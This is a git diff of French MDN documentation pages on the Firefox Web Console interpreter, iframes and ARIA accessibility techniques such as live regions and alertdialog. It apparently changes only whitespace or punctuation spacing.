b/files/fr/tools/web_console/the_command_line_interpreter/index.html index d2bb4b7efc..9e8f7408c5 100644 --- a/files/fr/tools/web_console/the_command_line_interpreter/index.html +++ b/files/fr/tools/web_console/the_command_line_interpreter/index.html @@ -6,7 +6,7 @@ original_slug: Outils/Console_Web/The_command_line_interpreter --- <div>{{ToolsSidebar}}</div> -<p>Il est possible d'interpréter des expressions JavaScript en temps réel en utilisant l'interpréteur de ligne de commande fournie par la <a href="/fr/docs/Tools/Web_Console">Console Web</a>. La Console a deux modes de saisie : mode ligne unique et mode éditeur multiligne.</p> +<p>Il est possible d'interpréter des expressions JavaScript en temps réel en utilisant l'interpréteur de ligne de commande fournie par la <a href="/fr/docs/Tools/Web_Console">Console Web</a>. La Console a deux modes de saisie : mode ligne unique et mode éditeur multiligne.</p> <h2 id="Le_mode_ligne_unique">Le mode ligne unique</h2> @@ -22,28 +22,28 @@ original_slug: Outils/Console_Web/The_command_line_interpreter <p>Si votre expression n'a pas l'air d'être complète lorsque <kbd>Entrée</kbd> est pressée, alors la console considère qu'il s'agit en fait d'un <kbd>Maj</kbd>+<kbd>Entrée</kbd> , permettant ainsi de finir l'expression.</p> -<p>Par exemple, si vous tapez :</p> +<p>Par exemple, si vous tapez :</p> -<pre class="brush: js line-numbers language-js notranslate"><code class="language-js"><span class="keyword token">function</span> toto<span class="punctuation token">(</span><span class="punctuation token">)</span> <span class="punctuation token">{</span></code></pre> +<pre class="brush: js line-numbers language-js notranslate"><code class="language-js"><span class="keyword token">function</span> toto<span class="punctuation token">(</span><span class="punctuation token">)</span> <span class="punctuation token">{</span></code></pre> -<p>et que vous appuyiez sur <kbd>Entrée</kbd>, la Console ne validera PAS immédiatement votre saisie. Ceci permet d'éviter les erreurs d'inattention avec un code invalide ou pas prêt, vous épargnant par la même occasion une erreur frustrante. À la place, la Console fera comme si vous aviez utilisé <kbd>Maj</kbd>+<kbd>Entrée</kbd> , et il sera ainsi possible de finir tranquillement de rentrer la définition de la fonction.</p> +<p>et que vous appuyiez sur <kbd>Entrée</kbd>, la Console ne validera PAS immédiatement votre saisie. Ceci permet d'éviter les erreurs d'inattention avec un code invalide ou pas prêt, vous épargnant par la même occasion une erreur frustrante. À la place, la Console fera comme si vous aviez utilisé <kbd>Maj</kbd>+<kbd>Entrée</kbd> , et il sera ainsi possible de finir tranquillement de rentrer la définition de la fonction.</p> <h2 id="Le_mode_éditeur_multiligne">Le mode éditeur multiligne</h2> -<p>Pour le mode éditeur multiligne, cliquez sur "Passer en mode éditeur multiligne" <img alt="Icone passer en mode éditeur multiligne" src="https://media.prod.mdn.mozit.cloud/attachments/2020/04/14/17176/2ca78324ebc4b5c4666959a5ed606dfd/icone-multiligne.png"> à droite de la zone de saisie du mode ligne unique ou pressez <kbd>Ctrl</kbd>+<kbd>B</kbd> (Windows/Linux) ou <kbd>Cmd</kbd>+<kbd>B</kbd> (macOS). L'éditeur multiligne s'ouvre à gauche de la <a href="/fr/docs/Tools/Web_Console">Console Web</a>. </p> +<p>Pour le mode éditeur multiligne, cliquez sur "Passer en mode éditeur multiligne" <img alt="Icone passer en mode éditeur multiligne" src="https://media.prod.mdn.mozit.cloud/attachments/2020/04/14/17176/2ca78324ebc4b5c4666959a5ed606dfd/icone-multiligne.png"> à droite de la zone de saisie du mode ligne unique ou pressez <kbd>Ctrl</kbd>+<kbd>B</kbd> (Windows/Linux) ou <kbd>Cmd</kbd>+<kbd>B</kbd> (macOS). L'éditeur multiligne s'ouvre à gauche de la <a href="/fr/docs/Tools/Web_Console">Console Web</a>. </p> <p><img alt="Editeur multiligne, avec deux colonnes, à gauche la zone de saisie et à droite la liste des message de la Console Web" src="https://mdn.mozillademos.org/files/16966/web_console_multi.png"></p> -<p>À l'inverse du mode ligne unique, vous pouvez saisir plusieurs lignes en pressant la touche <kbd>Entrée</kbd>. Pour exécuter le morceau de code que vous avez saisi, cliquez sur <img alt='le bouton "Exécuter"' src="https://media.prod.mdn.mozit.cloud/attachments/2020/04/14/17177/4778932832bd7aaae5ad75968643f4c7/executer.png"> au dessus de la zone d'édition ou appuyez sur <kbd>Ctrl</kbd>+<kbd>Entrée</kbd> (ou <kbd>Cmd</kbd>+<kbd>Return</kbd> sur MacOS).</p> +<p>À l'inverse du mode ligne unique, vous pouvez saisir plusieurs lignes en pressant la touche <kbd>Entrée</kbd>. Pour exécuter le morceau de code que vous avez saisi, cliquez sur <img alt='le bouton "Exécuter"' src="https://media.prod.mdn.mozit.cloud/attachments/2020/04/14/17177/4778932832bd7aaae5ad75968643f4c7/executer.png"> au dessus de la zone d'édition ou appuyez sur <kbd>Ctrl</kbd>+<kbd>Entrée</kbd> (ou <kbd>Cmd</kbd>+<kbd>Return</kbd> sur MacOS).</p> <p>Vous pouvez ouvrir des fichiers avec le mode éditeur multiligne et sauvegarder dans un fichier le contenu présent dans la zone d'édition :</p> <ul> - <li>Pour ouvrir un fichier, appuyez sur <kbd>Ctrl</kbd>+<kbd>O</kbd> (<kbd>Cmd</kbd>+<kbd>O</kbd> sur MacOS). Une boite de dialogue s'ouvrira vous demandant de sélectionner le fichier à ouvrir. </li> - <li>Pour sauvegarder le contenu de la zone d'édition, appuyez sur <kbd>Ctrl</kbd>+<kbd>S</kbd> (<kbd>Cmd</kbd>+<kbd>S</kbd> sur MacOS). Une boite de dialogue s'ouvrira vous demandant de sélectionner l'emplacement de sauvegarde.</li> + <li>Pour ouvrir un fichier, appuyez sur <kbd>Ctrl</kbd>+<kbd>O</kbd> (<kbd>Cmd</kbd>+<kbd>O</kbd> sur MacOS). Une boite de dialogue s'ouvrira vous demandant de sélectionner le fichier à ouvrir. </li> + <li>Pour sauvegarder le contenu de la zone d'édition, appuyez sur <kbd>Ctrl</kbd>+<kbd>S</kbd> (<kbd>Cmd</kbd>+<kbd>S</kbd> sur MacOS). Une boite de dialogue s'ouvrira vous demandant de sélectionner l'emplacement de sauvegarde.</li> </ul> -<p>Pour revenir au mode ligne unique, cliquez sur l'icône <strong>X </strong>au-dessus de la zone d'édition ou appuyez sur <kbd>Ctrl</kbd>+<kbd>B</kbd> (Windows/Linux) ou <kbd>Cmd</kbd>+<kbd>B</kbd> (MacOS).</p> +<p>Pour revenir au mode ligne unique, cliquez sur l'icône <strong>X </strong>au-dessus de la zone d'édition ou appuyez sur <kbd>Ctrl</kbd>+<kbd>B</kbd> (Windows/Linux) ou <kbd>Cmd</kbd>+<kbd>B</kbd> (MacOS).</p> <h2 id="Accéder_à_des_variables">Accéder à des variables</h2> diff --git a/files/fr/tools/working_with_iframes/index.html b/files/fr/tools/working_with_iframes/index.html index 04ca85708a..1364ea6693 100644 --- a/files/fr/tools/working_with_iframes/index.html +++ b/files/fr/tools/working_with_iframes/index.html @@ -23,4 +23,4 @@ original_slug: Outils/Travailler_avec_les_iframes <p><img alt="" src="https://mdn.mozillademos.org/files/8549/frame-selection-popup.png" style="display: block; margin-left: auto; margin-right: auto;"></p> -<p>Sélectionner une entrée de la liste fera que tous les outils de développement - l'Inspecteur, la console, le Débogueur etc. - seront assignés uniquement à cet iframe qui se comportera comme si le reste de la page n'existait pas.</p> +<p>Sélectionner une entrée de la liste fera que tous les outils de développement - l'Inspecteur, la console, le Débogueur etc. - seront assignés uniquement à cet iframe qui se comportera comme si le reste de la page n'existait pas.</p> diff --git a/files/fr/web/accessibility/an_overview_of_accessible_web_applications_and_widgets/index.md b/files/fr/web/accessibility/an_overview_of_accessible_web_applications_and_widgets/index.md index 6f169ef86e..5613052a40 100644 --- a/files/fr/web/accessibility/an_overview_of_accessible_web_applications_and_widgets/index.md +++ b/files/fr/web/accessibility/an_overview_of_accessible_web_applications_and_widgets/index.md @@ -10,11 +10,11 @@ translation_of: Web/Accessibility/An_overview_of_accessible_web_applications_and original_slug: >- Accessibilité/Aperçu_d_applications_Web_et_de_composants_dynamiques_accessibles --- -Le Web est en perpétuelle évolution. En effet, les sites à contenu statique sont de plus en plus remplacés par des sites dynamiques à l’utilisation assez proche des applications de bureaux. Les sites Web dynamiques utilisent abondamment JavaScript et AJAX. Les designers créent des widgets et des éléments d'interface grâce aux langages du Web notamment HTML, CSS et Javascript. Ce tournant dans l’histoire du Web permet d'améliorer grandement l'expérience utilisateur et l'utilisation sur mobile (responsive). Mais certains utilisateurs peuvent être exclus par manque d'accessibilité. En effet, JavaScript avait la réputation d'être inaccessible aux technologies d'assistance tel que les interpréteurs d’écran. Or, il existe maintenant des techniques pour rendre le Web accessible à une large palette d’utilisateurs. +Le Web est en perpétuelle évolution. En effet, les sites à contenu statique sont de plus en plus remplacés par des sites dynamiques à l’utilisation assez proche des applications de bureaux. Les sites Web dynamiques utilisent abondamment JavaScript et AJAX. Les designers créent des widgets et des éléments d'interface grâce aux langages du Web notamment HTML, CSS et Javascript. Ce tournant dans l’histoire du Web permet d'améliorer grandement l'expérience utilisateur et l'utilisation sur mobile (responsive). Mais certains utilisateurs peuvent être exclus par manque d'accessibilité. En effet, JavaScript avait la réputation d'être inaccessible aux technologies d'assistance tel que les interpréteurs d’écran. Or, il existe maintenant des techniques pour rendre le Web accessible à une large palette d’utilisateurs. ## Problématique -La plupart des librairies JavaScript proposent des composants côté client qui miment le comportement familier des interfaces de bureaux classiques. Carrousels, barres de menu et d’autres composants peuvent être créés avec JavaScript, CSS et HTML. Mais du moment que les spécifications HTML 4 ne proposaient pas de tags pour décrire sémantiquement ce type de composants, les développeurs se contentaient d'éléments génériques tel que le tag `<div>` ou le tag `<span>`. Or, si d’apparence ces composants ressemblaient parfaitement à ceux spécifiques aux applications de bureau, on ne disposait pas d'informations sémantiques suffisantes pour les rendres accessibles aux technologies d’assistance. L’accès au contenu dynamique d’une page Web peut devenir problématique plus particulièrement pour les utilisateurs qui, pour une raison ou pour une autre ne peuvent pas voir l’écran. Les niveaux de stock, les indicateurs de progression... modifient le DOM de telle sorte que les technologies d'assistance n’y ont pas accès. C'est dans ce contexte que [ARIA](/fr/ARIA) entre en jeu. +La plupart des librairies JavaScript proposent des composants côté client qui miment le comportement familier des interfaces de bureaux classiques. Carrousels, barres de menu et d’autres composants peuvent être créés avec JavaScript, CSS et HTML. Mais du moment que les spécifications HTML 4 ne proposaient pas de tags pour décrire sémantiquement ce type de composants, les développeurs se contentaient d'éléments génériques tel que le tag `<div>` ou le tag `<span>`. Or, si d’apparence ces composants ressemblaient parfaitement à ceux spécifiques aux applications de bureau, on ne disposait pas d'informations sémantiques suffisantes pour les rendres accessibles aux technologies d’assistance. L’accès au contenu dynamique d’une page Web peut devenir problématique plus particulièrement pour les utilisateurs qui, pour une raison ou pour une autre ne peuvent pas voir l’écran. Les niveaux de stock, les indicateurs de progression... modifient le DOM de telle sorte que les technologies d'assistance n’y ont pas accès. C'est dans ce contexte que [ARIA](/fr/ARIA) entre en jeu. _Exemple 1: Code d_’_une tabulation sans informations ARIA. Il n'y a aucune information permettant de décrire la forme du widget et ses fonctions._ @@ -44,13 +44,13 @@ _Example 2: Telles qu'elles sont représentées ci-dessous, les tabulations peuv ## ARIA -[WAI-ARIAI](https://www.w3.org/WAI/standards-guidelines/aria/), les spécifications concernant les applications **internet "riches" et accessibles** sont publiées par l’iniative du [W3C sur l’accessibilité](https://www.w3.org/WAI/), et fournissent la sémantique essentielle au bon fonctionnement des lecteurs d'écran. ARIA permet aux développeurs de décrire en quelque sorte leurs widgets plus finement en ajoutant des attributs spéciaux à leurs balises. Ces spécifications comblent le vide qui existait entre les spécifications du standard HTML et des widgets. ARIA spécifie des rôles et des états permettant de décrire en quelque sorte le fonctionnement des widgets d’interfaces utilisateurs les plus connus. +[WAI-ARIAI](https://www.w3.org/WAI/standards-guidelines/aria/), les spécifications concernant les applications **internet "riches" et accessibles** sont publiées par l’iniative du [W3C sur l’accessibilité](https://www.w3.org/WAI/), et fournissent la sémantique essentielle au bon fonctionnement des lecteurs d'écran. ARIA permet aux développeurs de décrire en quelque sorte leurs widgets plus finement en ajoutant des attributs spéciaux à leurs balises. Ces spécifications comblent le vide qui existait entre les spécifications du standard HTML et des widgets. ARIA spécifie des rôles et des états permettant de décrire en quelque sorte le fonctionnement des widgets d’interfaces utilisateurs les plus connus. > **Attention :** Beaucoup d’entre eux ont été ajouté plus tard dans HTML5, et **les développeurs devraient toujours préférer utiliser la balise HTML correspondante plutôt qu’utiliser ARIA**. Les spécifications ARIA distinguent 3 types d’attributs : rôles, états et propriétés. Les rôles sont utilisés pour les widgets ne faisant pas partie des spécifications HTML 4 comme des sliders, menus, barres, boites de dialogue... Les propriétés sont utilisées pour représenter les caractéristiques de ces widgets, elles décrivent les caractéristiques de ces widgets comme s'il sont déplaçables avec la souris, requièrent un élément ou ont un popup associés à eux. Les états, comme leur nom l'indique, servent à representer l'état actuel de ces éléments en informant les technologies d'assistance s'il est occupé, désactivé, sélectionné ou masqué. -Les attributs ARIA ont été conçus de façon à être interprétés directement par les navigateurs Web et interagir directement avec les APIs d'accessibilité natives des systèmes d'exploitation. Quand les spécifications ARIA sont implementées, les technologies d'assistance peuvent interagir avec les widgets JavaScript personnalisés de la même façon qu'ils interagissent avec leurs équivalents de bureau. Les technologies d'assistance peuvent ainsi fournir une expérience utilisateur homogène. +Les attributs ARIA ont été conçus de façon à être interprétés directement par les navigateurs Web et interagir directement avec les APIs d'accessibilité natives des systèmes d'exploitation. Quand les spécifications ARIA sont implementées, les technologies d'assistance peuvent interagir avec les widgets JavaScript personnalisés de la même façon qu'ils interagissent avec leurs équivalents de bureau. Les technologies d'assistance peuvent ainsi fournir une expérience utilisateur homogène. _Example 3 : L'exemple ci-dessous ajoute des attributs ARIA aux balises déjà présentes._ @@ -77,15 +77,15 @@ _Example 3 : L'exemple ci-dessous ajoute des attributs ARIA aux balises déjà p </div> ``` -Les versions récentes des navigateurs majeurs du marché fournissent un support ARIA Firefox, Chrome, Safari, Internet Explorer... De nombreuses technologies d'assistance libres d’accès tel que NVDA et Orca fournissent aussi un support ARIA. Le support de ces spécifications est aussi de plus en plus présent dans les balises des librairies JavaScript : JQuery UI, YUI, Google Closure et Dojo Dijit. +Les versions récentes des navigateurs majeurs du marché fournissent un support ARIA Firefox, Chrome, Safari, Internet Explorer... De nombreuses technologies d'assistance libres d’accès tel que NVDA et Orca fournissent aussi un support ARIA. Le support de ces spécifications est aussi de plus en plus présent dans les balises des librairies JavaScript : JQuery UI, YUI, Google Closure et Dojo Dijit. ### Les changement représentationnels -Les changements représentationnels incluent l'utilisation du CSS pour changer l'apparence du contenu (mettre une bordure rouge autour de données invalides, changer la couleur de fond d’une case à cocher), le faire apparaitre ou disparaitre. +Les changements représentationnels incluent l'utilisation du CSS pour changer l'apparence du contenu (mettre une bordure rouge autour de données invalides, changer la couleur de fond d’une case à cocher), le faire apparaitre ou disparaitre. #### Les Changements d'états -Les attributs pour décrire l’état actuel d'un widget sont fournis, par exemple : +Les attributs pour décrire l’état actuel d'un widget sont fournis, par exemple : - **`aria-checked`** indique l’état d'une case à cocher ou d'un bouton radio, - **`aria-disabled`** indique qu’un élément est visible, mais désactivé, @@ -137,7 +137,7 @@ var showTip = function(el) { ARIA permet aux développeurs de déclarer un rôle sémantique pour un élément qui produirait des sémantiques fausses. Par exemple, quand une liste non ordonnée est utilisée pour créer un menu, {{ HTMLElement("ul") }} devrait avoir un **`role`** de `menubar` et chaque {{ HTMLElement("li") }} devrait avoir un **`role`** de `menuitem`. Le **`role`** d'un élément ne doit pas changer. À la place, il faut supprimer l'élément original et le remplacer par un nouveau **`role`**. -Considérons une zone d’écriture, soit une zone qui permet à l’utilisateur d’éditer une partie de son texte, sans changer de contexte. Cette zone a un mode "vue", dans lequel le texte n’est pas éditable, et un mode "édition", dans lequel le texte peut être modifié. Un développeur peut être tenté d’implémenter le mode "vue" avec un texte en lecture seule via l’élément {{ HTMLElement("input") }} et en configurant le **`role`** ARIA à `button`, puis passe au mode "édition" en rendant l’élément écrivable et en supprimant le **`role`** attribué dans le mode "édition" (puisque les éléments de type {{ HTMLElement("input") }} ont leur propre rôle sémantique). +Considérons une zone d’écriture, soit une zone qui permet à l’utilisateur d’éditer une partie de son texte, sans changer de contexte. Cette zone a un mode "vue", dans lequel le texte n’est pas éditable, et un mode "édition", dans lequel le texte peut être modifié. Un développeur peut être tenté d’implémenter le mode "vue" avec un texte en lecture seule via l’élément {{ HTMLElement("input") }} et en configurant le **`role`** ARIA à `button`, puis passe au mode "édition" en rendant l’élément écrivable et en supprimant le **`role`** attribué dans le mode "édition" (puisque les éléments de type {{ HTMLElement("input") }} ont leur propre rôle sémantique). Ne faites pas ça. À la place, il vaut mieux implémenter le mode "vue" avec un autre élément, comme {{ HTMLElement("div") }} ou {{ HTMLElement("span") }} avec un **`role`** de `button`, et le mode "édition" avec un élément texte {{ HTMLElement("input") }}. diff --git a/files/fr/web/accessibility/aria/aria_guides/index.md b/files/fr/web/accessibility/aria/aria_guides/index.md index cc9585dc68..d4bc6707fb 100644 --- a/files/fr/web/accessibility/aria/aria_guides/index.md +++ b/files/fr/web/accessibility/aria/aria_guides/index.md @@ -14,7 +14,7 @@ original_slug: Accessibilité/ARIA/Guides_ARIA - Labelliser les composants composés (Composite Widgets) et des zones (Regions) - Gérer le focus dans les composants composés (`aria-activedescendant` vs roving tabindex) - Utiliser les rôles de points de repère (Landmark Roles) -- Traiter les actualisations dynamiques & des zones « Live » +- Traiter les actualisations dynamiques & des zones « Live » - Mode Virtuel contre mode non virtuel dans les produits de technologies d’assistance - Utiliser le Glisser & déposer - Notifier les utilisateurs sur les lecteurs d’écran non-ARIA diff --git a/files/fr/web/accessibility/aria/aria_live_regions/index.md b/files/fr/web/accessibility/aria/aria_live_regions/index.md index 65b9feb178..b84f8b63fe 100644 --- a/files/fr/web/accessibility/aria/aria_live_regions/index.md +++ b/files/fr/web/accessibility/aria/aria_live_regions/index.md @@ -10,25 +10,25 @@ original_slug: Accessibilité/ARIA/Zones_live_ARIA --- ## Introduction -Dans le passé, un changement dans une page web débouchait souvent sur une relecture intégrale, ce qui agaçait souvent l’utilisateur, ou au contraire très peu ou pas de lecture du tout, rendant inaccessible une partie, voire l’ensemble des informations. Jusqu’à récemment, les lecteurs d’écran n’étaient en mesure d’améliorer cela du fait de l’absence d’éléments standardisés pour prévenir le lecteur d’écran d’un changement. Les zones « live » ARIA comblent cette lacune et fournissent des solutions aux lecteurs d’écran afin de savoir si et comment interrompre l'utilisateur lors d’un changement. +Dans le passé, un changement dans une page web débouchait souvent sur une relecture intégrale, ce qui agaçait souvent l’utilisateur, ou au contraire très peu ou pas de lecture du tout, rendant inaccessible une partie, voire l’ensemble des informations. Jusqu’à récemment, les lecteurs d’écran n’étaient en mesure d’améliorer cela du fait de l’absence d’éléments standardisés pour prévenir le lecteur d’écran d’un changement. Les zones « live » ARIA comblent cette lacune et fournissent des solutions aux lecteurs d’écran afin de savoir si et comment interrompre l'utilisateur lors d’un changement. -## Zones « live » basiques +## Zones « live » basiques -Le contenu dynamique qui s’actualise sans rechargement de la page est généralement une zone ou un composant d’interface. Les changements de contenu simples, sans interaction possible, devraient être marqués comme des zones « live ». Ci-dessous, voici une liste de chaque propriété relative à une zone « live » ARIA et sa description. +Le contenu dynamique qui s’actualise sans rechargement de la page est généralement une zone ou un composant d’interface. Les changements de contenu simples, sans interaction possible, devraient être marqués comme des zones « live ». Ci-dessous, voici une liste de chaque propriété relative à une zone « live » ARIA et sa description. -- aria-live : - - : L’attribut `aria-live=VALEUR_POLITESSE` est utilisé pour définir la priorité avec laquelle le lecteur d’écran devrait traiter une mise à jour dans une zone « live » – les valeurs possibles sont : `off`/`polite`/`assertive`. La valeur par défaut est `off`. Cet attribut est de loin le plus important. -- aria-controls : +- aria-live : + - : L’attribut `aria-live=VALEUR_POLITESSE` est utilisé pour définir la priorité avec laquelle le lecteur d’écran devrait traiter une mise à jour dans une zone « live » – les valeurs possibles sont : `off`/`polite`/`assertive`. La valeur par défaut est `off`. Cet attribut est de loin le plus important. +- aria-controls : - - : L’attribut `aria-controls=[LISTE_IDs]` est utilisé pour associer un contrôle avec les zones qu’il contrôle. Les zones sont identifiées comme un `ID` dans un élément {{ HTMLElement("div") }}, et plusieurs zones peuvent être associées à un unique contrôle, en séparant les identifiants des zones par un espace, par exemple : `aria-controls="maZoneID1 maZoneID2"`. + - : L’attribut `aria-controls=[LISTE_IDs]` est utilisé pour associer un contrôle avec les zones qu’il contrôle. Les zones sont identifiées comme un `ID` dans un élément {{ HTMLElement("div") }}, et plusieurs zones peuvent être associées à un unique contrôle, en séparant les identifiants des zones par un espace, par exemple : `aria-controls="maZoneID1 maZoneID2"`. - > **Attention :** Nous ne savons pas si `aria-controls` pour les zones « live » est utilisé dans des technologies d’assistance modernes, et si oui lesquelles. Des recherches sont nécessaires. + > **Attention :** Nous ne savons pas si `aria-controls` pour les zones « live » est utilisé dans des technologies d’assistance modernes, et si oui lesquelles. Des recherches sont nécessaires. Normalement, seul `aria-live="polite"` est utilisé. Toute zone recevant une mise à jour qu’il est important de faire suivre à l’utilisateur, mais pas au point de le déranger dans sa navigation, devrait recevoir cet attribut. Le lecteur d’écran lira les changements dès que l’utilisateur sera inoccupé. Pour les zones de moindre importance, ou qui seraient perturbantes à cause d’actualisations répétées et rapprochées ou toute autre raison, il est possible de les rendre silencieux avec `aria-live="off"`. -### Cas d’étude simple : une ''combobox'' actualise des informations utiles à l’écran +### Cas d’étude simple : une ''combobox'' actualise des informations utiles à l’écran Un site web spécialisé dans l’ornithologie fournit une liste déroulante avec des noms d’oiseaux. Lorsqu’un oiseau est sélectionné dans la liste, une zone de la page web est actualisée avec les détails concernant la famille d’oiseaux choisie. @@ -40,22 +40,22 @@ Un site web spécialisé dans l’ornithologie fournit une liste déroulante ave Lorsque l’utilisateur sélectionne un nouvel oiseau, l’information est lue. Du fait de la valeur `polite`, le lecteur d’écran attendra une pause de la part de l’utilisateur. Ainsi, descendre dans la liste ne déclenchera pas la lecture pour chaque oiseau visité par l’utilisateur, mais uniquement pour celui qui sera finalement choisi. -## Préférences de rôles pour les zones « live » spécialisées +## Préférences de rôles pour les zones « live » spécialisées -Dans les cas prédéfinis répandus ci-dessous, il est préférable d’utiliser un des rôles de zone « live » spécifique fourni : +Dans les cas prédéfinis répandus ci-dessous, il est préférable d’utiliser un des rôles de zone « live » spécifique fourni : | Rôle | Description | Compatibilité | | ----------- | ------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- | --------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- | | log | Chat, erreur, jeux ou autres types de journalisation | Pour maximiser la compatibilité, ajouter un `aria-live="polite"` redondant lorsque vous utiliserez ce rôle. | | status | Une barre d’état ou une zone de l’écran qui fournit un état actualisé de quelque chose. Les utilisateurs de lecteur d’écran ont à leur disposition une commande spéciale pour lire l’état courant. | Pour maximiser la compatibilité, ajouter un `aria-live="polite"` redondant lorsque vous utiliserez ce rôle. | | alert | Message d’erreur ou avertissement souligné à l’écran. Les alertes sont particulièrement importantes pour la validation côté client notifiée à l’utilisateur. (TBD: lien vers un tutoriel sur les formulaires ARIA avec des informations plus complètes) | Pour maximiser la compatibilité, ajouter un `aria-live="assertive"` redondant lorsque vous utiliserez ce rôle. Attention, cette redondance occasionne un problème de double restitution orale dans VoiceOver sur iOS. | -| progressbar | Élément hybride entre un composant d’interface et une zone « Live ». Utilisez ce rôle avec les attributs `aria-valuemin`, `aria-valuenow` et `aria-valuemax`. (TBD : Ajouter plus d’informations pour cet élément). | | -| marquee | Pour faire défiler un texte, comme pour un téléscripteur ou un afficheur alphanumérique. | | -| timer | Pour tout type de minuterie ou d’horloge, tel qu’un compte-à-rebours ou un chronomètre. | | +| progressbar | Élément hybride entre un composant d’interface et une zone « Live ». Utilisez ce rôle avec les attributs `aria-valuemin`, `aria-valuenow` et `aria-valuemax`. (TBD : Ajouter plus d’informations pour cet élément). | | +| marquee | Pour faire défiler un texte, comme pour un téléscripteur ou un afficheur alphanumérique. | | +| timer | Pour tout type de minuterie ou d’horloge, tel qu’un compte-à-rebours ou un chronomètre. | | -## Zones « live » avancées +## Zones « live » avancées -(TBD : Qu'est-ce qui est pris en charge par qui ?) +(TBD : Qu'est-ce qui est pris en charge par qui ?) Le support général des zones "Live" a été ajouté à JAWS à partir de la version 10.0. Windows Eyes supporte les zones "Live" depuis la version 8.0 "pour une utilisation en dehors du mode de navigation (Browse Mode) pour Microsoft Internet Explorer et Mozilla Firefox". NVDA a ajouté un support basique pour les zones "Live" pour Mozilla Firefox en 2008 et qui a été amélioré en 2010 et 2014. En 2015 un support basique fut également ajouté à Internet Explorer (MSHTML). @@ -64,13 +64,13 @@ The Paciello Group propose des [informations sur l'état du support des zones "L - aria-atomic : - : L’attribut `aria-atomic=BOOLÉEN` est utilisé pour définir si le lecteur d’écran doit ou non présenter la zone « Live » comme un ensemble, même si une partie seulement de la zone est modifiée – Les valeurs possibles sont `false`/`true`. La valeur par défaut est `false`. - aria-relevant : - - : L’attribut `aria-relevant=[LISTE_DES_CHANGEMENTS]` est utilisé pour définir quel type de changements est adéquat à une zone « Live » – les valeurs possibles sont `additions` (addition)/`removals` (suppression)/`text` (texte)/`all` (tous). La valeur par défaut est « `additions text`. » + - : L’attribut `aria-relevant=[LISTE_DES_CHANGEMENTS]` est utilisé pour définir quel type de changements est adéquat à une zone « Live » – les valeurs possibles sont `additions` (addition)/`removals` (suppression)/`text` (texte)/`all` (tous). La valeur par défaut est « `additions text`. » - aria-labelledby : - - : L’attribut `aria-labelledby=[LISTE_ID]` est utilisé pour associer un ou des libellés à une zone. Le fonctionnement est similaire à celui d'`aria-controls` mais les références d'id pointent vers les libellés associés aux blocs identifiés, et les références multiples sont également séparées par un espace. + - : L’attribut `aria-labelledby=[LISTE_ID]` est utilisé pour associer un ou des libellés à une zone. Le fonctionnement est similaire à celui d'`aria-controls` mais les références d'id pointent vers les libellés associés aux blocs identifiés, et les références multiples sont également séparées par un espace. - aria-describedby : - : L'attribut `aria-describedby=[LISTE_ID]` est utilisé pour associer une ou des descriptions à une zone. Le fonctionnement est similaire à celui d'`aria-controls` mais les références d'identifiant pointent vers les textes descriptifs associés aux blocs identifiés, et les références multiples sont également séparées par un espace. -### Cas d’étude avancé : liste de contacts +### Cas d’étude avancé : liste de contacts Un site de chat voudrait afficher la liste des utilisateurs actuellement connectés. L'affichage de la liste des utilisateurs doit alors refléter l’état de connexion ou de déconnexion des utilisateurs de manière dynamique (sans actualisation de la page). @@ -80,10 +80,10 @@ Un site de chat voudrait afficher la liste des utilisateurs actuellement connect </ul> ``` -#### Détails des propriétés « live » d’ARIA : +#### Détails des propriétés « live » d’ARIA : -- L’attribut `aria-live="polite"` indique au lecteur d’écran qu’il doit attendre que l’utilisateur soit inactif avant de lui présenter une mise à jour. C’est la valeur la plus communément utilisée, car interrompre l’utilisateur avec la valeur `assertive` briserait son flux de lecture. +- L’attribut `aria-live="polite"` indique au lecteur d’écran qu’il doit attendre que l’utilisateur soit inactif avant de lui présenter une mise à jour. C’est la valeur la plus communément utilisée, car interrompre l’utilisateur avec la valeur `assertive` briserait son flux de lecture. - L’attribut `aria-atomic` n’est pas défini (`false` par défaut), ainsi seuls les utilisateurs ajoutés ou supprimés devraient être lus et non l’intégralité de la liste, à chaque mise à jour. - L’attribut `aria-relevant="additions removals"` assure à la fois que les utilisateurs ajoutés et supprimés de la liste seront lus. -TBD : Cas d’étude(s) réel(s) de l’attribut aria-atomic="true". +TBD : Cas d’étude(s) réel(s) de l’attribut aria-atomic="true". diff --git a/files/fr/web/accessibility/aria/aria_techniques/index.md b/files/fr/web/accessibility/aria/aria_techniques/index.md index 74687a3930..b5215fc235 100644 --- a/files/fr/web/accessibility/aria/aria_techniques/index.md +++ b/files/fr/web/accessibility/aria/aria_techniques/index.md @@ -97,7 +97,7 @@ Les techniques ci-dessous décrivent chaque rôle composé ainsi que leurs rôle - [aria-valuenow](/fr/docs/Accessibilité/ARIA/Techniques_ARIA/Utiliser_l_attribut_aria-valuenow) - [aria-valuetext](/fr/docs/Accessibilité/ARIA/Techniques_ARIA/Utiliser_l_attribut_aria-valuetext) -#### Attributs de zones « live » +#### Attributs de zones « live » - aria-live - aria-relevant diff --git a/files/fr/web/accessibility/aria/aria_techniques/using_the_alertdialog_role/index.md b/files/fr/web/accessibility/aria/aria_techniques/using_the_alertdialog_role/index.md index 3a9521f0a3..38bf80ffa9 100644 --- a/files/fr/web/accessibility/aria/aria_techniques/using_the_alertdialog_role/index.md +++ b/files/fr/web/accessibility/aria/aria_techniques/using_the_alertdialog_role/index.md @@ -13,7 +13,7 @@ original_slug: Accessibilité/ARIA/Techniques_ARIA/Utiliser_le_role_alertdialog Cette technique présente l’utilisation du rôle [`alertdialog`](http://www.w3.org/TR/2009/WD-wai-aria-20091215/roles#alertdialog) role. -Le rôle `alertdialog` est utilisé pour notifier à l’utilisateur des informations urgentes qui requièrent son attention immédiate. Comme le nom l’indique, `alertdialog` est un type de boîte de dialogue. Cela signifie que la plupart des instructions fournies à propos de l’[utilisation du rôle `dialog`](/fr/Accessibilité/ARIA/Techniques_ARIA/Utiliser_le_rôle_dialog_role) s’appliquent également au rôle `alertdialog` : +Le rôle `alertdialog` est utilisé pour notifier à l’utilisateur des informations urgentes qui requièrent son attention immédiate. Comme le nom l’indique, `alertdialog` est un type de boîte de dialogue. Cela signifie que la plupart des instructions fournies à propos de l’[utilisation du rôle `dialog`](/fr/Accessibilité/ARIA/Techniques_ARIA/Utiliser_le_rôle_dialog_role) s’appliquent également au rôle `alertdialog` : - La boîte de dialogue d’alerte doit toujours avoir un nom accessible (attribué à l’aide de `aria-labelledby` ou de `aria-label`) et, dans la plupart des cas, le texte d’alerte sera marqué comme étant la description accessible de la boîte de dialogue d’alerte (définie avec 